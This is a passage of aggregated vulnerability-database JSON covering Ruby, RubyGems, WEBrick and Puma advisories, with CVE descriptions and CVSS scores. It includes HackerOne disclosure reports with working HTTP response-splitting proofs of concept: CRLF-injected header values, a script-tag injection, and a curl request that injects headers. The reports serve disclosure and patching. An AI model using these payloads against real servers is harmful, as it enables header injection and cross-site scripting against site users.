vulnerability in RubyGems.\n* [CVE-2017-0900](https://security-tracker.debian.org/tracker/CVE-2017-0900)\nDoS vulnerability in the RubyGems query command.\n* [CVE-2017-0901](https://security-tracker.debian.org/tracker/CVE-2017-0901)\ngem installer allowed a malicious gem to overwrite arbitrary files.\n* [CVE-2017-0902](https://security-tracker.debian.org/tracker/CVE-2017-0902)\nRubyGems DNS request hijacking vulnerability.\n* [CVE-2017-0903](https://security-tracker.debian.org/tracker/CVE-2017-0903)\nMax Justicz reported that RubyGems is prone to an unsafe object\n deserialization vulnerability. When parsed by an application which\n processes gems, a specially crafted YAML formatted gem specification\n can lead to remote code execution.\n* [CVE-2017-10784](https://security-tracker.debian.org/tracker/CVE-2017-10784)\nYusuke Endoh discovered an escape sequence injection vulnerability in\n the Basic authentication of WEBrick. An attacker can take advantage of\n this flaw to inject malicious escape sequences to the WEBrick log and\n potentially execute control characters on the victim's terminal\n emulator when reading logs.\n* [CVE-2017-14033](https://security-tracker.debian.org/tracker/CVE-2017-14033)\nasac reported a buffer underrun vulnerability in the OpenSSL\n extension. A remote attacker could take advantage of this flaw to\n cause the Ruby interpreter to crash leading to a denial of service.\n* [CVE-2017-14064](https://security-tracker.debian.org/tracker/CVE-2017-14064)\nHeap memory disclosure in the JSON library.\n* [CVE-2017-17405](https://security-tracker.debian.org/tracker/CVE-2017-17405)\nA command injection vulnerability in Net::FTP might allow a\n malicious FTP server to execute arbitrary commands.\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\nAaron Patterson reported that WEBrick bundled with Ruby was vulnerable\n to an HTTP response splitting vulnerability. It was possible for an\n attacker to inject fake HTTP responses if a script accepted an\n external input and output it without modifications.\n* [CVE-2017-17790](https://security-tracker.debian.org/tracker/CVE-2017-17790)\nA command injection vulnerability in lib/resolv.rb's lazy\\_initialze\n might allow a command injection attack. However untrusted input to\n this function is rather unlikely.\n* [CVE-2018-6914](https://security-tracker.debian.org/tracker/CVE-2018-6914)\nooooooo\\_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot)\n in the prefix argument.\n* [CVE-2018-8777](https://security-tracker.debian.org/tracker/CVE-2018-8777)\nEric Wong reported an out-of-memory DoS vulnerability related to a\n large request in WEBrick bundled with Ruby.\n* [CVE-2018-8778](https://security-tracker.debian.org/tracker/CVE-2018-8778)\naerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n* [CVE-2018-8779](https://security-tracker.debian.org/tracker/CVE-2018-8779)\nooooooo\\_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n* [CVE-2018-8780](https://security-tracker.debian.org/tracker/CVE-2018-8780)\nooooooo\\_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n* [CVE-2018-1000075](https://security-tracker.debian.org/tracker/CVE-2018-1000075)\nA negative size vulnerability in ruby gem package tar header that could\n cause an infinite loop.\n* [CVE-2018-1000076](https://security-tracker.debian.org/tracker/CVE-2018-1000076)\nRubyGems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n* [CVE-2018-1000077](https://security-tracker.debian.org/tracker/CVE-2018-1000077)\nAn improper input validation vulnerability in RubyGems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n* [CVE-2018-1000078](https://security-tracker.debian.org/tracker/CVE-2018-1000078)\nCross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute.\n* [CVE-2018-1000079](https://security-tracker.debian.org/tracker/CVE-2018-1000079)\nPath Traversal vulnerability during gem installation.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n2.1.5-2+deb8u4.\n\n\nWe recommend that you upgrade your ruby2.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-07-14T00:00:00", "type": "osv", "title": "ruby2.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-2339", "CVE-2016-7798", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2017-17790", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2023-06-28T06:20:41", "id": "OSV:DLA-1421-1", "href": "https://osv.dev/vulnerability/DLA-1421-1", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "hackerone": [{"lastseen": "2023-07-06T15:49:48", "bounty": 0.0, "description": "https://www.ruby-lang.org/ja/news/2019/10/01/http-response-splitting-in-webrick-cve-2019-16254/", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2018-04-02T14:50:38", "type": "hackerone", "title": "Ruby: HTTP header can split /[\\r\\n]/ instead of /\\r\\n/", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-16254"], "modified": "2019-10-25T04:11:31", "id": "H1:331984", "href": "https://hackerone.com/reports/331984", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-08-25T13:10:51", "bounty": 0.0, "description": "PoC1:\n```\n#!/usr/bin/env ruby\nrequire 'cgi'\ncgi = CGI.new\nurl = \"http://example.jp\\r\\nSet-Cookie: foo=bar;\" # External Parameter\nprint cgi.header({'status' => '302 Found', 'Location' => url})\n```\n\nActual Result1:\n```\n$ curl -s -i http://localhost:8080/cgi-bin/cgi.ru\nHTTP/1.1 302 Found\nDate: Fri, 21 May 2021 00:46:33 GMT\nServer: Apache/2.2.31 (Unix)\nSet-Cookie: foo=bar;\nLocation: http://example.jp\nContent-Length: 0\nContent-Type: text/html\n\n```\n\n\u3053\u306e\u30b1\u30fc\u30b9\u3067\u306f\u4e0d\u6b63\u306a\u30af\u30c3\u30ad\u30fc\u304c\u6ce8\u5165\u3055\u308c\u308b\u3002\n\n\nPoC2:\n```\n#!/usr/bin/env ruby\nrequire 'cgi'\ncgi = CGI.new\nurl = \"http://example.jp\\r\\nStatus: 500\\r\\n\\r\\n<script>alert(1)</script>\" # External Parameter\nprint cgi.header({'status' => '302 Found', 'Location' => url})\n```\n\nActual Result2:\n```\n$ curl -s -i http://localhost:8080/cgi-bin/cgi.ru\nHTTP/1.1 500 Internal Server Error\nDate: Fri, 21 May 2021 00:49:44 GMT\nServer: Apache/2.2.31 (Unix)\nLocation: http://example.jp\nConnection: close\nTransfer-Encoding: chunked\nContent-Type: text/html\n\n<script>alert(1)</script>\n\n```\n\n\u3053\u306e\u30b1\u30fc\u30b9\u3067\u306f500 Internal Server Error\u306e\u305f\u3081\u3001Location\u30d8\u30c3\u30c0\u306f\u7121\u8996\u3055\u308c\u3001JavaScript\u304c\u5b9f\u884c\u3055\u308c\u308b\u3002\n\n## Impact\n\n\u610f\u56f3\u3057\u306a\u3044HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u30d8\u30c3\u30c0\u3084HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u30dc\u30c7\u30a3\u3092\u5916\u90e8\u304b\u3089\u6ce8\u5165\u3067\u304d\u307e\u3059\u3002\n\u5358\u7d14\u306aHTTP\u30d8\u30c3\u30c0\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3067\u306f\u3001\u30af\u30c3\u30ad\u30fc\u306e\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3084\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u7b49\u304c\u4e3b\u306a\u5f71\u97ff\u3068\u306a\u308a\u307e\u3059\u304c\u3001\u3053\u306e\u30b1\u30fc\u30b9\u3067\u306f\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u30dc\u30c7\u30a3\u304c\u6ce8\u5165\u3067\u304d\u308b\u305f\u3081\u3001\u4e0d\u6b63\u306aJavaScript\u5b9f\u884c\u306b\u53ca\u3076\u305f\u3081\u3001\u5f71\u97ff\u304c\u5927\u304d\u3044\u3068\u8003\u3048\u307e\u3059\u3002\n\n\u4ed6\u306e\u8a00\u8a9e\u306e\u5834\u5408\u3001PHP\u306eheader\u95a2\u6570\u306f \"\\r\" \"\\n\" \"\\r\\n\" \u7b49\u3092\u3059\u3079\u3066\u30a8\u30e9\u30fc\u306b\u3059\u308b\u305f\u3081\u3001\u4e0a\u8a18\u306e\u653b\u6483\u306f\u3067\u304d\u307e\u305b\u3093\u3002\n\n\u904e\u53bb\u306eWEBrick\u3084Puma\u306b\u3082\u985e\u4f3c\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3057\u305f\u304c\u3001\u3053\u308c\u3089\u306f\u5358\u72ec\u306e\u30ad\u30e3\u30ea\u30c3\u30b8\u30ea\u30bf\u30fc\u30f3 \"\\r\" \u306b\u3088\u308b\u653b\u6483\u3057\u304b\u3067\u304d\u305a\u3001\u30ea\u30d0\u30fc\u30b9\u30d7\u30ed\u30ad\u30b7\u3068\u3057\u3066Nginx\u304c\u3042\u308c\u3070\u3001Nginx\u5074\u306b\u3066\u30a8\u30e9\u30fc\u306b\u306a\u308a\u307e\u3059\u3002\u3057\u305f\u304c\u3063\u3066\u3001\u73fe\u5b9f\u7684\u306a\u5371\u967a\u6027\u306f\u307b\u3068\u3093\u3069\u306a\u3044\u3068\u8003\u3048\u307e\u3059\u3002\n\nhttps://www.ruby-lang.org/en/news/2019/10/01/http-response-splitting-in-webrick-cve-2019-16254/\nhttps://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v\n\n\u4e00\u65b9\u3001\u4eca\u56de\u5831\u544a\u3057\u305f\u554f\u984c\u306f\u3001CGI\u306e\u4ed5\u69d8\u4e0a\u30a6\u30a7\u30d6\u30b5\u30fc\u30d0\u30fc\u3084\u30ea\u30d0\u30fc\u30b9\u30d7\u30ed\u30ad\u30b7\u5074\u3067\u30a8\u30e9\u30fc\u306b\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u306a\u3044\u305f\u3081\u3001\u5f71\u97ff\u304c\u73fe\u5b9f\u7684\u3067\u3059\u3002", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-21T01:10:02", "type": "hackerone", "title": "Ruby: Ruby\u306eCGI\u30e9\u30a4\u30d6\u30e9\u30ea\u306bHTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u5206\u5272\uff08HTTP\u30d8\u30c3\u30c0\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\uff09\u304c\u3042\u308a\u3001\u79d8\u5bc6\u60c5\u5831\u304c\u6f0f\u6d29\u3059\u308b", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-16254", "CVE-2021-33621"], "modified": "2022-11-24T01:46:39", "id": "H1:1204695", "href": "https://hackerone.com/reports/1204695", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-07-06T15:56:00", "bounty": 0.0, "description": "Hi,\n\nWEBrick seems to be vulnerable to a [response splitting attack](https://www.owasp.org/index.php/HTTP_Response_Splitting). The reproduction script is very similar to the code shown on the owasp page:\n\n```ruby\nrequire 'webrick'\n\nclass MyServlet < ::WEBrick::HTTPServlet::AbstractServlet\n def service req, res\n res.cookies << WEBrick::Cookie.new('author', req.query['author'])\n res.body = 'hello world'\n end\nend\n\nserver = ::WEBrick::HTTPServer.new Port: 8080\nserver.mount \"/\", MyServlet\ntrap('INT') { server.shutdown }\nserver.start\n```\n\nFrom the command line do:\n\n```\n$ curl -i localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked\n```\n\nThe response looks like this:\n\n```\nHTTP/1.1 200 OK \nServer: WEBrick/1.3.1 (Ruby/2.4.0/2016-07-12)\nDate: Mon, 25 Jul 2016 19:13:18 GMT\nContent-Length: 11\nConnection: Keep-Alive\nSet-Cookie: author=Aaron\nX-Foo: hacked\n\nhello world\n```\n\nYou can see the header has been injected. I've attached a patch to fix the issue.\n\nNote: It seems like many Ruby webservers are vulnerable to this attack. So we may need to coordinate release.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2016-07-25T20:33:08", "type": "hackerone", "title": "Ruby: Response splitting vulnerability in WEBrick", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742"], "modified": "2018-04-29T02:01:36", "id": "H1:153794", "href": "https://hackerone.com/reports/153794", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "redhatcve": [{"lastseen": "2023-09-12T00:38:15", "description": "Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2020-01-09T19:38:59", "type": "redhatcve", "title": "CVE-2019-16254", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-16254"], "modified": "2023-09-09T07:49:13", "id": "RH:CVE-2019-16254", "href": "https://access.redhat.com/security/cve/cve-2019-16254", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-02-01T05:23:02", "description": "It was found that WEBrick did not sanitize headers sent back to clients, resulting in a response-splitting vulnerability. An attacker, able to control the server's headers, could force WEBrick into injecting additional headers to a client.\n#### Mitigation\n\nThe server can manually sanitize possibly untrusted headers prior to inserting them in the reply. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2018-03-29T09:19:31", "type": "redhatcve", "title": "CVE-2017-17742", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742"], "modified": "2023-02-01T03:42:08", "id": "RH:CVE-2017-17742", "href": "https://access.redhat.com/security/cve/cve-2017-17742", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "alpinelinux": [{"lastseen": "2023-06-23T11:06:46", "description": "Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2019-11-26T18:15:00", "type": "alpinelinux", "title": "CVE-2019-16254", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-16254"], "modified": "2023-04-30T23:15:00", "id": "ALPINE:CVE-2019-16254", "href": "https://security.alpinelinux.org/vuln/CVE-2019-16254", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-06-23T15:27:07", "description": "Ruby before 2.2.10, 2.3.x before 2.3.7, 2.4.x before 2.4.4, 2.5.x before 2.5.1, and 2.6.0-preview1 allows an HTTP Response Splitting attack. An attacker can inject a crafted key and value into an HTTP response for the HTTP server of WEBrick.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2018-04-03T22:29:00", "type": "alpinelinux", "title": "CVE-2017-17742", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742"], "modified": "2023-04-30T23:15:00", "id": "ALPINE:CVE-2017-17742", "href": "https://security.alpinelinux.org/vuln/CVE-2017-17742", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "ubuntucve": [{"lastseen": "2023-06-29T14:22:56", "description": "Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows\nHTTP Response Splitting. If a program using WEBrick inserts untrusted input\ninto the response header, an attacker can exploit it to insert a newline\ncharacter to split a header, and inject malicious content to deceive\nclients. NOTE: this issue exists because of an incomplete fix for\nCVE-2017-17742, which addressed the CRLF vector, but did not address an\nisolated CR or an isolated LF.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2019-11-20T00:00:00", "type": "ubuntucve", "title": "CVE-2019-16254", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-16254"], "modified": "2019-11-20T00:00:00", "id": "UB:CVE-2019-16254", "href": "https://ubuntu.com/security/CVE-2019-16254", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-06-07T13:58:13", "description": "In Puma (RubyGem) before 4.3.2 and before 3.12.3, if an application using\nPuma allows untrusted input in a response header, an attacker can use\nnewline characters (i.e. `CR`, `LF` or`/r`, `/n`) to end the header and\ninject malicious content, such as additional headers or an entirely new\nresponse body. This vulnerability is known as HTTP Response Splitting.\nWhile not an attack in itself, response splitting is a vector for several\nother attacks, such as cross-site scripting (XSS). This is related to\nCVE-2019-16254, which fixed this vulnerability for the WEBrick Ruby web\nserver. This has been fixed in versions 4.3.2 and 3.12.3 by checking all\nheaders for line endings and rejecting headers with those characters.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=952766>\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-02-28T00:00:00", "type": "ubuntucve", "title": "CVE-2020-5247", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-16254", "CVE-2020-5247"], "modified": "2020-02-28T00:00:00", "id": "UB:CVE-2020-5247", "href": "https://ubuntu.com/security/CVE-2020-5247", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-08-09T19:51:33", "description": "Ruby before 2.2.10, 2.3.x before 2.3.7, 2.4.x before 2.4.4, 2.5.x before\n2.5.1, and 2.6.0-preview1 allows an HTTP Response Splitting attack. An\nattacker can inject a crafted key and value into an HTTP response for the\nHTTP server of WEBrick.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2018-04-03T00:00:00", "type": "ubuntucve", "title": "CVE-2017-17742", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742"], "modified": "2018-04-03T00:00:00", "id": "UB:CVE-2017-17742", "href": "https://ubuntu.com/security/CVE-2017-17742", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "nessus": [{"lastseen": "2023-07-14T14:54:33", "description": "According to the version of the ruby packages installed, the EulerOS installation on the remote host is affected by the following vulnerability :\n\n - Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. 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{'reference':'rubygem-mysql2-debugsource-0.4.10-4.module+el8.4.0+592+03ff458a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-debugsource-0.4'},\n 